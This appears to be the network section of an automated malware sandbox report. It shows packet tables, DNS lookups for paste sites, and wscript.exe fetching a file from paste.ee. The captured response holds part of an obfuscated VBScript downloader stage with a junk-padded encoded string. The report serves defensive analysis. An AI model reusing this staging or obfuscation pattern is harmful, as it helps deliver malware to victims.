Jan 4, 2024 08:37:18.025819063 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.025832891 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.026175022 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.026192904 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.026223898 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.026232958 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.026242018 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.026552916 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.026602983 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.026607037 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.026639938 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.026695013 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.026699066 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.027049065 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.027064085 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.027095079 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.027101040 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.027128935 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.027678967 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.027702093 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.027730942 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.027734995 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.027753115 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.028121948 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028136015 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028187037 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.028192043 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028661966 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028677940 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028739929 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028757095 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.028767109 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028810024 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.028817892 CET	443	49706	104.22.53.71	192.168.2.9
Jan 4, 2024 08:37:18.028867960 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:18.030911922 CET	49706	443	192.168.2.9	104.22.53.71
Jan 4, 2024 08:37:19.384593010 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:19.384628057 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:19.384704113 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:19.385152102 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:19.385163069 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:19.589668036 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:19.589797020 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:19.591618061 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:19.591629028 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:19.592058897 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:19.593030930 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:19.640743017 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093489885 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093560934 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093590021 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093609095 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.093636036 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093691111 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093694925 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.093703985 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093761921 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.093769073 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.093985081 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.094046116 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.094054937 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.094063997 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.094118118 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.094121933 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.094132900 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.094202042 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.094500065 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.094794989 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.094842911 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.094850063 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095019102 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095089912 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.095097065 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095329046 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095364094 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095398903 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.095408916 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095454931 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.095505953 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095745087 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.095782995 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.095789909 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096191883 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096242905 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096251011 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.096257925 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096314907 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.096322060 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096462965 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096518993 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.096525908 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096602917 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.096667051 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.096673012 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.097163916 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.097229004 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.097239017 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.097290039 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.097347021 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.097353935 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.097429037 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.097480059 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.097486973 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.098126888 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.098156929 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.098189116 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.098208904 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.098217010 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.098262072 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.098994970 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.099085093 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.099093914 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.149420977 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.188159943 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188168049 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188230038 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.188241005 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188282013 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188297033 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.188312054 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188337088 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.188699961 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188752890 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.188761950 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188813925 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.188826084 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.188899040 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.189757109 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.189802885 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.189810991 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.189852953 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.190480947 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.190519094 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.190553904 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.190561056 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.190608978 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.202680111 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.202752113 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.202846050 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.202955961 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.203090906 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.203159094 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.203509092 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.203577995 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.203584909 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.203612089 CET	443	49707	104.21.70.240	192.168.2.9
Jan 4, 2024 08:37:20.203651905 CET	49707	443	192.168.2.9	104.21.70.240
Jan 4, 2024 08:37:20.203910112 CET	49707	443	192.168.2.9	104.21.70.240

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 4, 2024 08:37:12.659106016 CET	63021	53	192.168.2.9	1.1.1.1
Jan 4, 2024 08:37:12.756824970 CET	53	63021	1.1.1.1	192.168.2.9
Jan 4, 2024 08:37:16.038971901 CET	62431	53	192.168.2.9	1.1.1.1
Jan 4, 2024 08:37:16.135181904 CET	53	62431	1.1.1.1	192.168.2.9
Jan 4, 2024 08:37:19.275895119 CET	61616	53	192.168.2.9	1.1.1.1
Jan 4, 2024 08:37:19.383765936 CET	53	61616	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 4, 2024 08:37:12.659106016 CET	192.168.2.9	1.1.1.1	0x496b	Standard query (0)	paste.ee	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:16.038971901 CET	192.168.2.9	1.1.1.1	0xb8e6	Standard query (0)	wallpapercave.com	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:19.275895119 CET	192.168.2.9	1.1.1.1	0x2de3	Standard query (0)	paste.fo	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 4, 2024 08:37:12.756824970 CET	1.1.1.1	192.168.2.9	0x496b	No error (0)	paste.ee	172.67.187.200	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:12.756824970 CET	1.1.1.1	192.168.2.9	0x496b	No error (0)	paste.ee	104.21.84.67	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:16.135181904 CET	1.1.1.1	192.168.2.9	0xb8e6	No error (0)	wallpapercave.com	104.22.53.71	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:16.135181904 CET	1.1.1.1	192.168.2.9	0xb8e6	No error (0)	wallpapercave.com	104.22.52.71	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:16.135181904 CET	1.1.1.1	192.168.2.9	0xb8e6	No error (0)	wallpapercave.com	172.67.29.26	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:19.383765936 CET	1.1.1.1	192.168.2.9	0x2de3	No error (0)	paste.fo	104.21.70.240	A (IP address)	IN (0x0001)	false
Jan 4, 2024 08:37:19.383765936 CET	1.1.1.1	192.168.2.9	0x2de3	No error (0)	paste.fo	172.67.140.164	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

paste.ee

wallpapercave.com

paste.fo

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49705	172.67.187.200	443	1524	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-04 07:37:13 UTC	173	OUT	GET /d/2lAW3 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-ch User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: paste.ee
2024-01-04 07:37:13 UTC	1230	IN	HTTP/1.1 200 OK Date: Thu, 04 Jan 2024 07:37:13 GMT Content-Type: text/plain; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=2592000 strict-transport-security: max-age=63072000 x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none' CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=sq%2BNF4HK0KQjNMgHw67tpbTRtkOgEtRGDLGCd8eUhQnaAEVYKrAc9loQt71Qta4QTuFBQ2mg1Z73GcOFiEQ6PcqMDmzz96sxryAldKQaWxSCcXD2pwrTX5bOLA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8401d0a13e7e3892-IAD alt-svc: h3=":443"; ma=86400
2024-01-04 07:37:13 UTC	139	IN	Data Raw: 31 66 37 66 0d 0a 0d 0a 20 20 20 20 20 64 69 6d 20 63 45 4f 70 56 4f 43 50 72 47 48 6b 49 53 69 4f 47 6f 58 66 41 54 41 59 44 66 77 6b 5a 54 57 79 75 76 54 54 66 62 57 65 4b 4d 78 65 6b 4a 65 70 49 51 4b 72 61 50 4d 51 76 77 6c 56 4a 58 77 70 46 73 69 72 70 6d 45 46 4c 42 63 71 67 64 53 61 57 57 51 72 41 5a 79 56 58 67 55 44 4a 6f 6f 42 6f 4f 66 6b 74 6d 5a 78 75 6b 74 6b 65 64 68 70 61 48 76 63 4c 74 6f 47 79 79 Data Ascii: 1f7f dim cEOpVOCPrGHkISiOGoXfATAYDfwkZTWyuvTTfbWeKMxekJepIQKraPMQvwlVJXwpFsirpmEFLBcqgdSaWWQrAZyVXgUDJooBoOfktmZxuktkedhpaHvcLtoGyy
2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 7a 57 57 72 70 69 69 7a 6e 41 73 4b 55 66 4b 76 7a 72 6e 55 49 70 69 6e 64 63 73 41 76 66 4e 64 56 76 45 43 4c 6c 51 74 62 78 6b 57 75 61 61 70 6c 5a 64 4e 6e 68 73 64 42 47 53 52 78 52 44 46 69 73 51 54 5a 67 76 43 75 72 67 61 56 52 20 2c 20 47 65 6a 5a 5a 77 67 55 43 76 74 49 6f 74 70 4a 71 74 43 6d 63 75 56 41 67 54 57 4f 6f 42 72 4f 66 5a 68 7a 4b 57 72 57 52 4c 6f 52 43 6d 79 7a 66 41 43 48 62 7a 69 63 51 61 57 44 53 6c 47 45 65 55 62 4b 58 6d 61 64 78 79 56 79 5a 74 61 67 6d 4e 55 6c 45 6f 6e 46 6b 6c 4c 74 64 70 52 65 72 6c 6c 73 4f 65 5a 52 71 45 4e 46 72 63 59 4f 50 67 75 68 45 52 71 73 59 71 71 4c 70 78 75 6c 45 6b 54 7a 53 78 49 61 65 68 4f 73 65 64 53 73 71 4e 69 4a 77 79 65 69 55 6c 67 56 44 65 55 69 5a 57 41 51 70 48 79 6a 48 46 67 6b 4d 51 Data Ascii: zWWrpiiznAsKUfKvzrnUIpindcsAvfNdVvECLlQtbxkWuaaplZdNnhsdBGSRxRDFisQTZgvCurgaVR , GejZZwgUCvtIotpJqtCmcuVAgTWOoBrOfZhzKWrWRLoRCmyzfACHbzicQaWDSlGEeUbKXmadxyVyZtagmNUlEonFklLtdpRerllsOeZRqENFrcYOPguhERqsYqqLpxulEkTzSxIaehOsedSsqNiJwyeiUlgVDeUiZWAQpHyjHFgkMQ
2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 64 59 57 4f 42 4a 64 42 50 43 59 73 65 70 57 70 4f 68 6c 74 61 49 41 75 4f 46 43 55 51 5a 53 50 55 4b 78 53 70 41 6a 51 77 4f 71 64 56 69 55 67 76 53 63 50 4f 4b 6a 42 52 4a 77 70 41 52 56 61 58 53 4e 6e 6e 42 45 56 75 6c 45 74 6e 77 70 70 69 41 6f 78 75 63 79 41 6a 46 64 77 52 73 78 7a 6f 59 65 62 41 73 4e 57 4d 4f 69 76 6d 67 63 61 56 44 6a 51 42 58 77 54 61 6e 63 50 67 4a 51 58 4e 70 57 76 4c 4c 56 58 7a 70 6a 42 4f 51 56 56 68 64 58 54 52 4b 61 42 48 20 20 3d 20 22 4a 44 67 54 72 65 42 70 44 67 54 72 65 47 30 44 67 54 72 65 59 51 42 6e 44 67 54 72 65 47 55 44 67 54 72 65 56 51 42 79 44 67 54 72 65 47 77 44 67 54 72 65 49 44 67 54 72 65 44 67 54 72 65 39 44 67 54 72 65 43 44 67 54 72 65 44 67 54 72 65 4a 77 42 6f 44 67 54 72 65 48 51 44 67 54 72 65 64 Data Ascii: dYWOBJdBPCYsepWpOhltaIAuOFCUQZSPUKxSpAjQwOqdViUgvScPOKjBRJwpARVaXSNnnBEVulEtnwppiAoxucyAjFdwRsxzoYebAsNWMOivmgcaVDjQBXwTancPgJQXNpWvLLVXzpjBOQVVhdXTRKaBH = "JDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVQByDgTreGwDgTreIDgTreDgTre9DgTreCDgTreDgTreJwBoDgTreHQDgTred
2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 49 7a 4b 4e 7a 66 45 73 6a 7a 4d 52 4c 4a 70 61 54 79 74 75 63 68 58 47 69 74 20 26 20 47 65 6a 5a 5a 77 67 55 43 76 74 49 6f 74 70 4a 71 74 43 6d 63 75 56 41 67 54 57 4f 6f 42 72 4f 66 5a 68 7a 4b 57 72 57 52 4c 6f 52 43 6d 79 7a 66 41 43 48 62 7a 69 63 51 61 57 44 53 6c 47 45 65 55 62 4b 58 6d 61 64 78 79 56 79 5a 74 61 67 6d 4e 55 6c 45 6f 6e 46 6b 6c 4c 74 64 70 52 65 72 6c 6c 73 4f 65 5a 52 71 45 4e 46 72 63 59 4f 50 67 75 68 45 52 71 73 59 71 71 4c 70 78 75 6c 45 6b 54 7a 53 78 49 61 65 68 4f 73 65 64 53 73 71 4e 69 4a 77 79 65 69 55 6c 67 56 44 65 55 69 5a 57 41 51 70 48 79 6a 48 46 67 6b 4d 51 44 46 68 61 63 42 69 66 62 6a 4e 76 74 75 57 6f 6f 52 42 52 53 44 41 6b 73 47 20 26 20 41 6a 69 47 70 51 47 55 61 4f 50 6f 64 63 42 50 6d 75 79 55 71 65 62 Data Ascii: IzKNzfEsjzMRLJpaTytuchXGit & GejZZwgUCvtIotpJqtCmcuVAgTWOoBrOfZhzKWrWRLoRCmyzfACHbzicQaWDSlGEeUbKXmadxyVyZtagmNUlEonFklLtdpRerllsOeZRqENFrcYOPguhERqsYqqLpxulEkTzSxIaehOsedSsqNiJwyeiUlgVDeUiZWAQpHyjHFgkMQDFhacBifbjNvtuWooRBRSDAksG & AjiGpQGUaOPodcBPmuyUqeb
2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 68 78 4c 64 70 41 49 63 56 45 41 54 78 57 5a 4d 76 4e 6d 58 58 76 62 4c 74 4e 59 71 62 4f 44 78 53 4a 4c 55 67 50 4f 75 72 51 77 4f 4e 71 51 79 59 64 79 48 47 65 64 4a 46 72 43 68 79 51 76 5a 65 47 74 51 56 52 78 7a 46 46 78 62 6a 71 71 4d 78 52 66 4c 69 45 69 53 46 71 45 55 4a 4e 50 75 56 63 42 57 61 49 74 50 55 4e 56 54 73 49 7a 4b 4e 7a 66 45 73 6a 7a 4d 52 4c 4a 70 61 54 79 74 75 63 68 58 47 69 74 20 26 20 47 65 6a 5a 5a 77 67 55 43 76 74 49 6f 74 70 4a 71 74 43 6d 63 75 56 41 67 54 57 4f 6f 42 72 4f 66 5a 68 7a 4b 57 72 57 52 4c 6f 52 43 6d 79 7a 66 41 43 48 62 7a 69 63 51 61 57 44 53 6c 47 45 65 55 62 4b 58 6d 61 64 78 79 56 79 5a 74 61 67 6d 4e 55 6c 45 6f 6e 46 6b 6c 4c 74 64 70 52 65 72 6c 6c 73 4f 65 5a 52 71 45 4e 46 72 63 59 4f 50 67 75 68 45 Data Ascii: hxLdpAIcVEATxWZMvNmXXvbLtNYqbODxSJLUgPOurQwONqQyYdyHGedJFrChyQvZeGtQVRxzFFxbjqqMxRfLiEiSFqEUJNPuVcBWaItPUNVTsIzKNzfEsjzMRLJpaTytuchXGit & GejZZwgUCvtIotpJqtCmcuVAgTWOoBrOfZhzKWrWRLoRCmyzfACHbzicQaWDSlGEeUbKXmadxyVyZtagmNUlEonFklLtdpRerllsOeZRqENFrcYOPguhE
2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 65 47 6b 44 67 54 72 65 62 51 42 68 44 67 54 72 65 47 63 44 67 54 72 65 22 20 26 20 41 6a 69 47 70 51 47 55 61 4f 50 6f 64 63 42 50 6d 75 79 55 71 65 62 65 66 61 73 57 47 50 6a 75 54 79 6d 77 68 6c 52 76 50 44 47 66 56 71 4c 4d 74 79 57 67 55 51 56 6e 51 41 54 43 4d 74 68 4f 46 68 78 4c 64 70 41 49 63 56 45 41 54 78 57 5a 4d 76 4e 6d 58 58 76 62 4c 74 4e 59 71 62 4f 44 78 53 4a 4c 55 67 50 4f 75 72 51 77 4f 4e 71 51 79 59 64 79 48 47 65 64 4a 46 72 43 68 79 51 76 5a 65 47 74 51 56 52 78 7a 46 46 78 62 6a 71 71 4d 78 52 66 4c 69 45 69 53 46 71 45 55 4a 4e 50 75 56 63 42 57 61 49 74 50 55 4e 56 54 73 49 7a 4b 4e 7a 66 45 73 6a 7a 4d 52 4c 4a 70 61 54 79 74 75 63 68 58 47 69 74 20 26 20 47 65 6a 5a 5a 77 67 55 43 76 74 49 6f 74 70 4a 71 74 43 6d 63 75 56 41 Data Ascii: eGkDgTrebQBhDgTreGcDgTre" & AjiGpQGUaOPodcBPmuyUqebefasWGPjuTymwhlRvPDGfVqLMtyWgUQVnQATCMthOFhxLdpAIcVEATxWZMvNmXXvbLtNYqbODxSJLUgPOurQwONqQyYdyHGedJFrChyQvZeGtQVRxzFFxbjqqMxRfLiEiSFqEUJNPuVcBWaItPUNVTsIzKNzfEsjzMRLJpaTytuchXGit & GejZZwgUCvtIotpJqtCmcuVA
2024-01-04 07:37:13 UTC	1087	IN	Data Raw: 49 74 50 55 4e 56 54 73 49 7a 4b 4e 7a 66 45 73 6a 7a 4d 52 4c 4a 70 61 54 79 74 75 63 68 58 47 69 74 20 26 20 22 51 42 74 44 67 54 72 65 43 34 44 67 54 72 65 56 44 67 54 72 65 42 6c 44 67 54 72 65 48 67 44 67 54 72 65 64 44 67 54 72 65 44 67 54 72 65 75 44 67 54 72 65 45 55 44 67 54 72 65 62 67 42 6a 44 67 54 72 65 47 38 44 67 54 72 65 22 20 26 20 41 6a 69 47 70 51 47 55 61 4f 50 6f 64 63 42 50 6d 75 79 55 71 65 62 65 66 61 73 57 47 50 6a 75 54 79 6d 77 68 6c 52 76 50 44 47 66 56 71 4c 4d 74 79 57 67 55 51 56 6e 51 41 54 43 4d 74 68 4f 46 68 78 4c 64 70 41 49 63 56 45 41 54 78 57 5a 4d 76 4e 6d 58 58 76 62 4c 74 4e 59 71 62 4f 44 78 53 4a 4c 55 67 50 4f 75 72 51 77 4f 4e 71 51 79 59 64 79 48 47 65 64 4a 46 72 43 68 79 51 76 5a 65 47 74 51 56 52 78 7a 46 Data Ascii: ItPUNVTsIzKNzfEsjzMRLJpaTytuchXGit & "QBtDgTreC4DgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEUDgTrebgBjDgTreG8DgTre" & AjiGpQGUaOPodcBPmuyUqebefasWGPjuTymwhlRvPDGfVqLMtyWgUQVnQATCMthOFhxLdpAIcVEATxWZMvNmXXvbLtNYqbODxSJLUgPOurQwONqQyYdyHGedJFrChyQvZeGtQVRxzF
2024-01-04 07:37:13 UTC	1369	IN	Data Raw: 37 30 30 30 0d 0a 53 78 49 61 65 68 4f 73 65 64 53 73 71 4e 69 4a 77 79 65 69 55 6c 67 56 44 65 55 69 5a 57 41 51 70 48 79 6a 48 46 67 6b 4d 51 44 46 68 61 63 42 69 66 62 6a 4e 76 74 75 57 6f 6f 52 42 52 53 44 41 6b 73 47 20 26 20 41 6a 69 47 70 51 47 55 61 4f 50 6f 64 63 42 50 6d 75 79 55 71 65 62 65 66 61 73 57 47 50 6a 75 54 79 6d 77 68 6c 52 76 50 44 47 66 56 71 4c 4d 74 79 57 67 55 51 56 6e 51 41 54 43 4d 74 68 4f 46 68 78 4c 64 70 41 49 63 56 45 41 54 78 57 5a 4d 76 4e 6d 58 58 76 62 4c 74 4e 59 71 62 4f 44 78 53 4a 4c 55 67 50 4f 75 72 51 77 4f 4e 71 51 79 59 64 79 48 47 65 64 4a 46 72 43 68 79 51 76 5a 65 47 74 51 56 52 78 7a 46 46 78 62 6a 71 71 4d 78 52 66 4c 69 45 69 53 46 71 45 55 4a 4e 50 75 56 63 42 57 61 49 74 50 55 4e 56 54 73 49 7a 4b 4e Data Ascii: 7000SxIaehOsedSsqNiJwyeiUlgVDeUiZWAQpHyjHFgkMQDFhacBifbjNvtuWooRBRSDAksG & AjiGpQGUaOPodcBPmuyUqebefasWGPjuTymwhlRvPDGfVqLMtyWgUQVnQATCMthOFhxLdpAIcVEATxWZMvNmXXvbLtNYqbODxSJLUgPOurQwONqQyYdyHGedJFrChyQvZeGtQVRxzFFxbjqqMxRfLiEiSFqEUJNPuVcBWaItPUNVTsIzKN
